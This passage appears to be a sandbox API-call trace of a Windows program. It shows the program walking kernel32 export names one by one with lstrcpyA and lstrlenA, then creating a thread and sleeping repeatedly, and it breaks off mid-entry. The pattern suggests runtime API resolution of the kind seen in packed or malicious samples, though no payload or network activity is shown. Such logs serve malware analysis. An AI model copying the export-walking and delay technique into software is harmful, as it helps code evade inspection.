[0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0083.681] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0083.681] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0083.681] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0083.681] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0083.681] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0083.681] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0083.681] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0083.681] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0083.681] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0083.681] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0083.682] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0083.682] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0083.682] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0083.682] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0083.682] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0083.682] lstrlenA (lpString="CLOSESTATE") returned 10 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0083.682] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0083.682] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0083.682] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0083.682] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0083.682] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0083.682] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0083.682] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0083.682] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0083.682] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0083.682] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0083.683] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0083.683] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0083.683] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0083.683] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0083.683] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0083.683] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0083.683] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0083.683] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0083.683] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0083.683] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0083.683] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0083.683] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0083.683] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0083.683] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0083.683] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0083.683] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0083.684] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0083.684] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0083.684] lstrlenA (lpString="COPYCONTEXT") returned 11 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0083.684] lstrlenA (lpString="COPYFILE2") returned 9 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0083.684] lstrlenA (lpString="COPYFILEA") returned 9 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0083.684] lstrlenA (lpString="COPYFILEEXA") returned 11 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0083.684] lstrlenA (lpString="COPYFILEEXW") returned 11 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0083.684] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0083.684] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0083.684] lstrlenA (lpString="COPYFILEW") returned 9 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0083.684] lstrlenA (lpString="COPYLZFILE") returned 10 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0083.684] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0083.684] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0083.684] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0083.684] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0083.685] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0083.685] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0083.685] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0083.685] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0083.685] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0083.685] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0083.685] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0083.685] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0083.685] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0083.685] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0083.685] lstrlenA (lpString="CREATEEVENTA") returned 12 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0083.685] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0083.685] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0083.685] lstrlenA (lpString="CREATEEVENTW") returned 12 [0083.685] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0083.685] lstrlenA (lpString="CREATEFIBER") returned 11 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0083.686] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0083.686] lstrlenA (lpString="CREATEFILE2") returned 11 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0083.686] lstrlenA (lpString="CREATEFILEA") returned 11 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0083.686] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0083.686] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0083.686] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0083.686] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0083.686] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0083.686] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0083.686] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0083.686] lstrlenA (lpString="CREATEFILEW") returned 11 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0083.686] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0083.686] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0083.686] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0083.686] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0083.687] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0083.687] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0083.687] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0083.687] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0083.687] lstrlenA (lpString="CREATEJOBSET") returned 12 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0083.687] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0083.687] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0083.687] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0083.687] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0083.687] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0083.687] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0083.687] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0083.687] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0083.687] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0083.687] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0083.687] lstrlenA (lpString="CREATEPIPE") returned 10 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0083.688] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0083.688] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0083.688] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0083.688] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0083.688] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0083.688] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0083.688] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0083.688] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0083.688] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0083.688] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0083.688] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0083.688] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0083.688] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0083.688] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0083.688] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0083.689] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0083.689] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0083.689] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0083.689] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0083.689] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0083.689] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0083.689] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0083.689] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0083.689] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0083.689] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0083.689] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0083.689] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0083.689] lstrlenA (lpString="CREATETHREAD") returned 12 [0083.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42efb0, lpParameter=0x2b50000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0083.724] Sleep (dwMilliseconds=0x3e8) [0084.807] Sleep (dwMilliseconds=0x3e8) [0086.129] Sleep (dwMilliseconds=0x3e8) [0087.355] Sleep (dwMilliseconds=0x3e8) [0088.494] Sleep (dwMilliseconds=0x3e8) [0089.581] Sleep (dwMilliseconds=0x3e8) [0090.588] Sleep (dwMilliseconds=0x3e8) [0091.604] Sleep (dwMilliseconds=0x3e8) [0092.682] Sleep (dwMilliseconds=0x3e8) [0093.747] Sleep (dwMilliseconds=0x3e8) [0095.079] Sleep (dwMilliseconds=0x3e8) [0096.087] Sleep (dwMilliseconds=0x3e8) [0097.099] Sleep (dwMilliseconds=0x3e8) [0098.114] Sleep (dwMilliseconds=0x3e8) [0099.536] Sleep (dwMilliseconds=0x3e8) [0101.148] Sleep (dwMilliseconds=0x3e8) [0102.750] Sleep (dwMilliseconds=0x3e8) [0103.763] Sleep (dwMilliseconds=0x3e8) [0104.772] Sleep (dwMilliseconds=0x3e8) [0105.777] Sleep (dwMilliseconds=0x3e8) [0106.957] Sleep (dwMilliseconds=0x3e8) [0108.772] Sleep (dwMilliseconds=0x3e8) [0109.832] Sleep (dwMilliseconds=0x3e8) [0111.398] Sleep (dwMilliseconds=0x3e8) [0112.403] Sleep (dwMilliseconds=0x3e8) [0113.789] Sleep (dwMilliseconds=0x3e8) [0114.926] Sleep (dwMilliseconds=0x3e8) [0116.122] Sleep (dwMilliseconds=0x3e8) [0117.561] Sleep (dwMilliseconds=0x3e8) [0118.842] Sleep (dwMilliseconds=0x3e8) [0119.881] Sleep (dwMilliseconds=0x3e8) [0120.893] Sleep (dwMilliseconds=0x3e8) [0121.949] Sleep (dwMilliseconds=0x3e8) [0123.001] Sleep (dwMilliseconds=0x3e8) [0124.113] Sleep (dwMilliseconds=0x3e8) [0125.236] Sleep (dwMilliseconds=0x3e8) [0126.421] Sleep 